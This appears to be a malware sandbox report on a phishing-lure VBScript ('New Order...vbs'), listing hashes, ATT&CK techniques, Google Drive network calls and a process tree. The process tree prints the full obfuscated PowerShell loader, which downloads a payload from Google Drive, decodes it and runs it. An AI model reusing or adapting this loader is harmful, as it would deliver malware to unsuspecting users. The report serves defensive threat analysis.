8a919f230f442afcb8b9ae6b0d5c83de4f8cfd50c5c4db3a5b1c59d287976712

General

Target

New Order-Tefanujofaman Trading Co. Ltd.vbs
Size

43KB
MD5

0c816e41fef783ec40ce2d7447d4c5dd
SHA1

e0f156439fcba011174f92ef01a4a376b337314d
SHA256

b828a42d31cb9bab2620c4c1def73499c542be4f19a802c08e9c0a0971192c3f
SHA512

cb93ee840b711ad21cebb8f2d1f98aee087a166c320783de4913bfa70db5118780edd00d5df7712f9473452918f05d2ebad88f23280f10f97ded355b22bab7c3
SSDEEP

768:B696nNHECqC68L+iyHNm4WH8xlDeVXQ8MuCzPvbG4O8/MsOAkieqfz7DIKFAR:g9Ge8LP4xxaQhlDDpUssRWnIKFAR

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2776	powershell.exe
5	2776	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2776	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	drive.google.com
3	drive.google.com

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2776	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2776	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 2776	2112	WScript.exe	30
PID 2112 wrote to memory of 2776	2112	WScript.exe	30
PID 2112 wrote to memory of 2776	2112	WScript.exe	30
PID 2776 wrote to memory of 2668	2776	powershell.exe	32
PID 2776 wrote to memory of 2668	2776	powershell.exe	32
PID 2776 wrote to memory of 2668	2776	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\New Order-Tefanujofaman Trading Co. Ltd.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Antiracial Surrein Capron Underdraft Sixth #>;$Laanebelbets='Skinkels';<#Stabiliserende Amphiptere Wawled Kollaborer Dieselbilerne Kuldeblgernes Electrovection #>;$Trinitrotoluene=$host.PrivateData;If ($Trinitrotoluene) {$Uopnaaelighedens++;}function Unjagged($Stoicheiometry){$Spildevandsomraadernes=$Stoicheiometry.Length-$Uopnaaelighedens;for( $Odalborn=4;$Odalborn -lt $Spildevandsomraadernes;$Odalborn+=5){$Unclannishness+=$Stoicheiometry[$Odalborn];}$Unclannishness;}function hjreafledninger($Reembarcation){ & ($Forvaltningsregler) ($Reembarcation);}$Presystole=Unjagged 'InteMrenaoPandz ,eciudralUdarlAfskaEqu /U.te5Friz. ret0Phyl ,ubc( DogWWhiti PernMaskdGasboArduwKelss Be, Gl tNSv jTSw n S jn1Icic0 Pty.Fald0Vred; Ir, red,WSpili ExinDisa6retr4Puli;Sna, DrosxCoa,6Bygg4 ryd; on BannrHavnv U e: Tje1,ubl2fant1Bdde. Idm0ugun)Hono unmiGSticeSumpcIodik Rego P y/Relo2klie0Stik1 ort0Eddi0 Lis1 pun0Seem1Nuse P,lF CowiTagorPa.aeG,avf ResoRa.ix Ins/,lym1Nond2Tape1Non .,ver0Stor ';$Unadverse51=Unjagged 'NavnuB resPapeeLagerS.mi-W lkAMa.kGSnote dkoN Dert Mun ';$Violen=Unjagged ' Fush S vt xertKaldpMeadsHatt: Cre/Bra /NeapdMiddrOveriundevK nfeBe t.Anstg SkiounhaoFlergFirtlSeleeAlma.St,acM teoindemSpli/CremuPro cKnur?Rebee AttxDis.pChonoOutbrTarstUrfj= ardMagio ReswF,emnKorelforloCalca rupdForg&BraniB udd Tru=Torn1Frikk arg3 Fie-T.epMUsaglD leUBi tA antr Di,qSugg4WalkH DisAFaceXSpisGSamesH naMPaavz Ant5BuddHFdbo4HajedSkkeCPreabNo.pXUnemIK,ipCEudedTran0KbebCRemiWLaculConei Sam ';$Papillary=Unjagged 'Slv >nske ';$Forvaltningsregler=Unjagged 'EpidiAzimETallx Rat ';$Forfaldsdagene='Hebrere';$Vegetabilske = Unjagged 'KapieEti cA cohOblioSvin Hals%Konda StepAf,rpae,md upeau gatgia a T,d%Bran\DoglHLurveAf.anBetrfB laoLr reStr rFen.eCope.BimpFUndiesquemSepa Fo t&Fr m&Rich AnpreSalicUfr hPrizoStra D.pnt Spi ';hjreafledninger (Unjagged 'I ex$Efteg.verlT,sio RefbReenaAflol Tal:BremBForsaCrucnDesikRedra svrsFeltsSh riBomlsLnudt repe PronN yatUpd.=Arch(F dgcF mim ArkdMer Omgr/CambcCobu Fred$.urrV MorePaasgQuese.riatKobbaunrebUforilynelOdmasUnpikKosme isp)Ph l ');hjreafledninger (Unjagged 'Lnst$ Dy.gDuesl RevoTeleb GalaForelMop,:OpmaAuudfg TamrDom aT,mprInjusM li=Bela$ M tVAmatiParaoIcewl nameCa.enHear.Unwis eocpBon lU gei amptBow.( Sp.$O fiP,orsa metpUnyciPseulEccelAegiaLittrconcy,ryp) U d ');hjreafledninger (Unjagged ' Efo[SquiNOptne cidt Jus.W ndSAcroeGyser kitvFortiSummcMe ae ompP MiloAn hiLse,nProdtSlv,M Hvea ArbnMeanaPedigOr.bedelar at],vog: kst:OmveSDyspe .ppcBacku Ab.rTopaiCelltGassy SpiPUnbarKornoKristDataoUn,scEatrorabblNull Vin= luf orni[ PalN Ch,eTomatS.id.TrepS orsevindcSk puHover BefiS ortCoesyVrvlPCi kr avoAntitBilioTorscUnsmo dsvlSemiT An,yDi,lpHabseKlog] eko:Stre:G odT AfslHjtis Sce1Tils2Rage ');$Violen=$Agrars[0];$Strkbandagens= (Unjagged 'Geof$Ba,egKvatl,icroReboB GuaABurll lip:b ndAMycoRFo bIUneaS StiT PeroSolrd Ru.EAlmimC eeO ulacBookRDelmAN neCMi,iiDokueCit SUnc =Abron Stae ,onWStue-nedfOPoetBUnioj,ryseSpecCsareTRhiz HandSNormYVbrisHis TGen E MedMTetr.Fl.sNAkr eJ alT Nep.Red WPatwE.rtibKonvC .onl Do,IBaalEClamNPli T');$Strkbandagens+=$Bankassistent[1];hjreafledninger ($Strkbandagens);hjreafledninger (Unjagged ' Tea$terrASt,tr demiIleas ExotG gao inkdBewheTrafmOl goInfrcUru r nfaFacec dspi upe SitsVand.InveH P eeKri.a ,omdBiskeA derForssOmfo[Imp.$Dec UragenHjreamy md Belv B,neVerdrungks O.jeRegi5cyk 1 pha] ock= R.v$Ant PsewlrfollePhans Spay T.gsGenrtMealo MaulKorre .hi ');$Sexsymbolers=Unjagged 'Milj$Me aAPunkrKom.iKas sMenntBookoRapgdAn,ieHovem Beuo ubec Ri,rMa kaStatcFragiB,sbe VeksCh,l.MisfDUrteoSnftw hrnRee,l TraofireaDrindGuanF Invi u dl ldseIchn(Skri$ImpeVFortiSemio Perl iateEs inapp,, P a$FracS isenLandoThino UngtSeneiChurlFstnyEy.s) Lor ';$Snootily=$Bankassistent[0];hjreafledninger (Unjagged 'Haar$Oms gSpagLPic,o PinBFo daMi rl ,uc:Ky iRBaroAInceaTankFSherR HjrU S.agS jtT mbEUnfunRedn2Outr=A,ch( BehT F neBlgeSBud TKomp-PeliPFredA niTNekrHKomp Fag$ errsLuspn StrOEtfaoRitztDokuITillLRecaYJugg) em ');while (!$Raafrugten2) {hjreafledninger (Unjagged 'Oxli$WringLyd,l hanoL kfbWhifa Horl Pia:EngrE F rlForfiSli.gS geeExper,osseSambrS mm= Pr.$skaet rberKlatuEnkeeOp.a ') ;hjreafledninger $Sexsymbolers;hjreafledninger (Unjagged 'makuSPolytSalga HumrAksitTset-Res.SBondl D seTilfeNa upCin, Ansk4Odon ');hjreafledninger (Unjagged ' idd$SlaggOverl VanoHof.b cheaFro lTil.:RashRq.enaCaiqaStimfEksar .isu LysgTakktResseRedinBal.2Ka.c= .ut(WilgTReste kamsForftSapp- LvePStria ,nctFirehHard Nudd$ Fu SUopkn LacoHe so fortBambiBesml eflyRipt)Paaa ') ;hjreafledninger (Unjagged 'Fejl$ vgtgVoldlTechoKrisb G,uaBinglM ed:BridPSharaVekspYammiShi rAn,lvFejllG nbdT leeSipp= Add$ ensgTekslpairo urbPikna UbelWax :Kom fDe aaUdk lMi ad GrubMissy undd Udl+stat+Abn.% Meg$ClimAprovgTom r.eliaBundrThe.sGobb. Jamc asfoSyntuovn n udltkvie ') ;$Violen=$Agrars[$Papirvlde];}$Storaksen96=299653;$Mouritze=29124;hjreafledninger (Unjagged 'Flle$ReingPortlSo.roSv rbVitaaToksl Acr:po.iSLegacCrysr,iglaSussiPol g RhehInvae UnsdNann Pedr=Bond AbouGSpideBasktBust- IstCMicro Svan KortAfteeTabln LintTro Stru$MizeS IncnEkskoQuaco.blet KoniM,stlRok yLivs ');hjreafledninger (Unjagged 'Nong$Cat gSpinlTredo Supb ataE relyngl:So iAElimnU ebtAndehGarrrThoroMosqpStapoMaskg TraeFi voMonggH nirUbeaaSlaap,orjhA skiVi,lcAss,a Sk,lPja, F b=Paas Afst[OsdiSB,osyH.lss GastJu peDe rmAnsa.SignCEndioTr cnRegnvTu.le Hanr Albt F,l]Felt:De.e:CystF Synr aromusem eliBPl ta Gles,psleLif.6athe4LordS Dect oryrSermiRiannMolggDisq(K.rt$s.ydSSludcCo dr Gala S.fiDirigSa thDefae Ha,dTje ) ils ');hjreafledninger (Unjagged ' Non$ VedgAnkelInteo upebCharaBirclFri.:Sp aGEnteyRechmTetrnC,inaH mis cast H.li S.nkBarrf UnroPrivr H peDippnAfskifl unInspgUnree ncurLorr1Blde3Job 4 Sha Apoq=Rer U ed[MecuSPlysy aksElemtSempe,urtmS,em. SteTThe.eHinsxNredt Fl .SufiE.unknOvincDownoEle d fliiSkrbn InggForb] lde:Suve:ParaA Pr S PraCKoloIUn hISlib.LouiGDe,eeH,ngtTo aSHue t astr Wi,iStign tiegSeki(Jobn$PlunAMi.dnTwistNo.ehCunerTragoG.lepstaro Pl gS iteNatuoC,ung Si,rAldea ConpPre,h.kimi FlicTaalaKuraltvrd)hnse ');hjreafledninger (Unjagged 'Omst$WersgCorolBorto nsbCigaaB,wslAjle:S ylTretse sperEmeem PesoFimbs FintDrawaProntGabboMislv idwn Re e AlgnAs isEndh= O e$Svr,GEsloy vlmAn jnSinka WidsFremtphotiBacokThwafRaafoBetrrB lfeideonAppoiPectnfo,eg EnceDemorNels1Virk3Indr4Forr. ProsSynduelecb Om sKa.kt remrBr niPej,n,leugFors( J h$SvbeSSyg tSpedoVer rNedraSabrk FelsRedneRobanWauk9Isvr6Fi u,Re.s$ ermMTr,vo lekuBiosrlaboiPe.ptAd ez ejeunpo)C tg ');hjreafledninger $Termostatovnens;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Henfoere.Fem && echo t"
    3⤵
    PID:2668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2776-4-0x000007FEF5A5E000-0x000007FEF5A5F000-memory.dmp

Filesize
4KB

Download
memory/2776-5-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/2776-6-0x0000000002230000-0x0000000002238000-memory.dmp

Filesize
32KB

Download
memory/2776-7-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-8-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-9-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-10-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-11-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-15-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing